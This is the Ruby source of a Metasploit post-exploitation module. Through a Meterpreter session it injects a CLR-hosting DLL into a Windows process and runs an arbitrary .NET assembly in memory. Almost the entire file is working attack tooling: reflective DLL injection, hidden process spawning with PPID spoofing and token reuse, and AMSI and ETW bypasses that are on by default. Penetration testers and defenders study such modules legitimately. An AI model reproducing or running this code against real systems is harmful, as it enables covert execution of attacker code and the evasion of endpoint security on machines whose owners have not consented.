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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Exploit::Retry
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  include Msf::Post::Windows::Priv
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  include Msf::Post::Windows::Process
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  include Msf::Post::Windows::ReflectiveDLLInjection
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  include Msf::Post::Windows::Dotnet
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Execute .net Assembly (x64 only)',
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        'Description' => %q{
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          This module executes a .NET assembly in memory. It
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          reflectively loads a dll that will host CLR, then it copies
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          the assembly to be executed into memory. Credits for AMSI
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          bypass to Rastamouse (@_RastaMouse)
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        },
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        'License' => MSF_LICENSE,
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        'Author' => 'b4rtik',
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        'Arch' => [ARCH_X64],
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        'Platform' => 'win',
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        'SessionTypes' => ['meterpreter'],
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        'Targets' => [['Windows x64', { 'Arch' => ARCH_X64 }]],
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        'References' => [['URL', 'https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/']],
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        'DefaultTarget' => 0,
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_sys_process_attach
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              stdapi_sys_process_execute
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              stdapi_sys_process_get_processes
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              stdapi_sys_process_getpid
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              stdapi_sys_process_kill
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              stdapi_sys_process_memory_allocate
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              stdapi_sys_process_memory_write
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              stdapi_sys_process_thread_create
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            ]
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          }
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    spawn_condition = ['TECHNIQUE', '==', 'SPAWN_AND_INJECT']
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    inject_condition = ['TECHNIQUE', '==', 'INJECT']
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    register_options(
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      [
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        OptEnum.new('TECHNIQUE', [true, 'Technique for executing assembly', 'SELF', ['SELF', 'INJECT', 'SPAWN_AND_INJECT']]),
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        OptPath.new('DOTNET_EXE', [true, 'Assembly file name']),
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        OptString.new('ARGUMENTS', [false, 'Command line arguments']),
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        OptBool.new('AMSIBYPASS', [true, 'Enable AMSI bypass', true]),
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        OptBool.new('ETWBYPASS', [true, 'Enable ETW bypass', true]),
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        OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe'], conditions: spawn_condition),
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        OptBool.new('USETHREADTOKEN', [false, 'Spawn process using the current thread impersonation', true], conditions: spawn_condition),
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        OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)', nil], conditions: spawn_condition),
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        OptInt.new('PID', [false, 'PID to inject into', nil], conditions: inject_condition),
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      ], self.class
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    )
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    register_advanced_options(
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      [
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        OptBool.new('KILL', [true, 'Kill the launched process at the end of the task', true], conditions: spawn_condition)
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      ]
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    )
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    self.terminate_process = false
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    self.hprocess = nil
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    self.handles_to_close = []
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  end
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  def find_required_clr(exe_path)
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    filecontent = File.read(exe_path).bytes
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    sign = 'v4.0.30319'.bytes
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    filecontent.each_with_index do |_item, index|
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      sign.each_with_index do |subitem, indexsub|
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        break if subitem.to_s(16) != filecontent[index + indexsub].to_s(16)
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        if indexsub == 9
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          vprint_status('CLR version required: v4.0.30319')
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          return 'v4.0.30319'
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        end
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      end
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    end
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    vprint_status('CLR version required: v2.0.50727')
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    'v2.0.50727'
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  end
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  def check_requirements(clr_req, installed_dotnet_versions)
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    installed_dotnet_versions.each do |fi|
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      if clr_req == 'v4.0.30319'
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        if fi[0] == '4'
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          vprint_status('Requirements ok')
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          return true
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        end
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      elsif clr_req == 'v2.0.50727'
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        if fi[0] == '3' || fi[0] == '2'
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          vprint_status('Requirements ok')
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          return true
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        end
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      end
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    end
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    print_error('Required dotnet version not present')
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    false
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  end
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  def run
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    exe_path = datastore['DOTNET_EXE']
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    unless File.file?(exe_path)
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      fail_with(Failure::BadConfig, 'Assembly not found')
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    end
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    installed_dotnet_versions = get_dotnet_versions
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    vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
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    if installed_dotnet_versions == []
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      fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
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    end
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    rclr = find_required_clr(exe_path)
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    if check_requirements(rclr, installed_dotnet_versions) == false
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      fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
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    end
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    if sysinfo.nil?
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      fail_with(Failure::BadConfig, 'Session invalid')
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    else
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      print_status("Running module against #{sysinfo['Computer']}")
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    end
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    execute_assembly(exe_path, rclr)
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  end
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  def cleanup
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    if terminate_process && !hprocess.nil? && !hprocess.pid.nil?
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      print_good("Killing process #{hprocess.pid}")
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      begin
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        client.sys.process.kill(hprocess.pid)
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      rescue Rex::Post::Meterpreter::RequestError => e
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        print_warning("Error while terminating process: #{e}")
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        print_warning('Process may already have terminated')
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      end
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    end
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    handles_to_close.each(&:close)
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  end
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  def sanitize_process_name(process_name)
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    if process_name.split(//).last(4).join.eql? '.exe'
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      out_process_name = process_name
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    else
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      "#{process_name}.exe"
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    end
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    out_process_name
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  end
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  def pid_exists(pid)
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    host_processes = client.sys.process.get_processes
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    if host_processes.empty?
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      print_bad('No running processes found on the target host.')
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      return false
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    end
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    theprocess = host_processes.find { |x| x['pid'] == pid }
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    !theprocess.nil?
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  end
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  def launch_process
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    if datastore['PROCESS'].nil?
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      fail_with(Failure::BadConfig, 'Spawn and inject selected, but no process was specified')
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    end
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    ppid_selected = datastore['PPID'] != 0 && !datastore['PPID'].nil?
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    if ppid_selected && !pid_exists(datastore['PPID'])
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      fail_with(Failure::BadConfig, "Process #{datastore['PPID']} was not found")
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    elsif ppid_selected
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      print_status("Spoofing PPID #{datastore['PPID']}")
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    end
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    process_name = sanitize_process_name(datastore['PROCESS'])
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    print_status("Launching #{process_name} to host CLR...")
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    begin
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      process = client.sys.process.execute(process_name, nil, {
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        'Channelized' => false,
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        'Hidden' => true,
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        'UseThreadToken' => !(!datastore['USETHREADTOKEN']),
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        'ParentPid' => datastore['PPID']
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      })
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      hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
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    rescue Rex::Post::Meterpreter::RequestError => e
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      fail_with(Failure::BadConfig, "Unable to launch process: #{e}")
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    end
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    print_good("Process #{hprocess.pid} launched.")
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    hprocess
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  end
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  def inject_hostclr_dll(process)
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    print_status("Reflectively injecting the Host DLL into #{process.pid}..")
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    library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
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    library_path = ::File.expand_path(library_path)
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    print_status("Injecting Host into #{process.pid}...")
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    # Memory management note: this memory is freed by the C++ code itself upon completion
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    # of the assembly
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    inject_dll_into_process(process, library_path)
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  end
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  def open_process(pid)
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    if (pid == 0) || pid.nil?
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      fail_with(Failure::BadConfig, 'Inject technique selected, but no PID set')
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    end
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228
    if pid_exists(pid)
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      print_status("Opening handle to process #{pid}...")
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      begin
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        hprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
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      rescue Rex::Post::Meterpreter::RequestError => e
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        fail_with(Failure::BadConfig, "Unable to access process #{pid}: #{e}")
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      end
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      print_good('Handle opened')
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      hprocess
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    else
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      fail_with(Failure::BadConfig, 'PID not found')
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    end
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  end
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  def check_process_suitability(pid)
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    process = session.sys.process.each_process.find { |i| i['pid'] == pid }
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    if process.nil?
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      fail_with(Failure::BadConfig, 'PID not found')
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    end
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248
    arch = process['arch']
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250
    if arch != ARCH_X64
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      fail_with(Failure::BadConfig, 'execute_dotnet_assembly currently only supports x64 processes')
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    end
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  end
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  def execute_assembly(exe_path, clr_version)
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    if datastore['TECHNIQUE'] == 'SPAWN_AND_INJECT'
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      self.hprocess = launch_process
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      self.terminate_process = datastore['KILL']
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      check_process_suitability(hprocess.pid)
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    else
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      if datastore['TECHNIQUE'] == 'INJECT'
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        inject_pid = datastore['PID']
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      elsif datastore['TECHNIQUE'] == 'SELF'
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        inject_pid = client.sys.process.getpid
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      end
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      check_process_suitability(inject_pid)
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268
      self.hprocess = open_process(inject_pid)
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    end
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    handles_to_close.append(hprocess)
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    begin
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      exploit_mem, offset = inject_hostclr_dll(hprocess)
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      pipe_suffix = Rex::Text.rand_text_alphanumeric(8)
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      pipe_name = "\\\\.\\pipe\\#{pipe_suffix}"
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      appdomain_name = Rex::Text.rand_text_alpha(9)
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      vprint_status("Connecting with CLR via #{pipe_name}")
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      vprint_status("Running in new AppDomain: #{appdomain_name}")
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      assembly_mem = copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, hprocess)
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    rescue Rex::Post::Meterpreter::RequestError => e
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      fail_with(Failure::PayloadFailed, "Error while allocating memory: #{e}")
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    end
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    print_status('Executing...')
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    begin
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      thread = hprocess.thread.create(exploit_mem + offset, assembly_mem)
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      handles_to_close.append(thread)
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      pipe = nil
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      retry_until_truthy(timeout: 15) do
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        pipe = client.fs.file.open(pipe_name)
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        true
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      rescue Rex::Post::Meterpreter::RequestError => e
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        if e.code != Msf::WindowsError::FILE_NOT_FOUND
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          # File not found is expected, since the pipe may not be set up yet.
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          # Any other error would be surprising.
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          vprint_error("Error while attaching to named pipe: #{e.inspect}")
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        end
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        false
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      end
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304
      if pipe.nil?
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        fail_with(Failure::PayloadFailed, 'Unable to connect to output stream')
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      end
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      basename = File.basename(datastore['DOTNET_EXE'])
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      dir = Msf::Config.log_directory + File::SEPARATOR + 'dotnet'
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      unless Dir.exist?(dir)
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        Dir.mkdir(dir)
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      end
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      logfile = dir + File::SEPARATOR + "log_#{basename}_#{Time.now.strftime('%Y%m%d%H%M%S')}"
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      read_output(pipe, logfile)
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    # rubocop:disable Lint/RescueException
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    rescue Rex::Post::Meterpreter::RequestError => e
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      fail_with(Failure::PayloadFailed, e.message)
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    rescue ::Exception => e
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      # rubocop:enable Lint/RescueException
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      unless terminate_process
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        # We don't provide a trigger to the assembly to self-terminate, so it will continue on its merry way.
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        # Because named pipes don't have an infinite buffer, if too much additional output is provided by the
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        # assembly, it will block until we read it. So it could hang at an unpredictable location.
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        # Also, since we can't confidently clean up the memory of the DLL that may still be running, there
325
        # will also be a memory leak.
326

327
        reason = 'terminating due to exception'
328
        if e.is_a?(::Interrupt)
329
          reason = 'interrupted'
330
        end
331

332
        print_warning('****')
333
        print_warning("Execution #{reason}. Assembly may still be running. However, as we are no longer retrieving output, it may block at an unpredictable location.")
334
        print_warning('****')
335
      end
336

337
      raise
338
    end
339

340
    print_good('Execution finished.')
341
  end
342

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  def copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, process)
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    print_status("Host injected. Copy assembly into #{process.pid}...")
345
    # Structure:
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    # - Packed metadata (string/data lengths, flags)
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    # - Pipe Name
348
    # - Appdomain Name
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    # - CLR Version
350
    # - Param data
351
    # - Assembly data
352
    assembly_size = File.size(exe_path)
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354
    cln_params = ''
355
    cln_params << datastore['ARGUMENTS'] unless datastore['ARGUMENTS'].nil?
356
    cln_params << "\x00"
357

358
    pipe_name = pipe_name.encode(::Encoding::ASCII_8BIT)
359
    appdomain_name = appdomain_name.encode(::Encoding::ASCII_8BIT)
360
    clr_version = clr_version.encode(::Encoding::ASCII_8BIT)
361
    params = [
362
      pipe_name.bytesize,
363
      appdomain_name.bytesize,
364
      clr_version.bytesize,
365
      cln_params.length,
366
      assembly_size,
367
      datastore['AMSIBYPASS'] ? 1 : 0,
368
      datastore['ETWBYPASS'] ? 1 : 0,
369
    ].pack('IIIIICC')
370

371
    payload = params
372
    payload += pipe_name
373
    payload += appdomain_name
374
    payload += clr_version
375
    payload += cln_params
376
    payload += File.read(exe_path)
377

378
    payload_size = payload.length
379

380
    # Memory management note: this memory is freed by the C++ code itself upon completion
381
    # of the assembly
382
    allocated_memory = process.memory.allocate(payload_size, PROT_READ | PROT_WRITE)
383
    process.memory.write(allocated_memory, payload)
384
    print_status('Assembly copied.')
385
    allocated_memory
386
  end
387

388
  def read_output(pipe, logfilename)
389
    print_status('Start reading output')
390

391
    print_status("Writing output to #{logfilename}")
392
    logfile = File.open(logfilename, 'wb')
393

394
    begin
395
      loop do
396
        output = pipe.read(1024)
397
        if !output.nil? && !output.empty?
398
          print(output)
399
          logfile.write(output)
400
        end
401
        break if output.nil? || output.empty?
402
      end
403
    rescue ::StandardError => e
404
      print_error("Exception: #{e.inspect}")
405
    end
406

407
    logfile.close
408
    print_status('End output.')
409
  end
410

411
  attr_accessor :terminate_process, :hprocess, :handles_to_close
412
end
413

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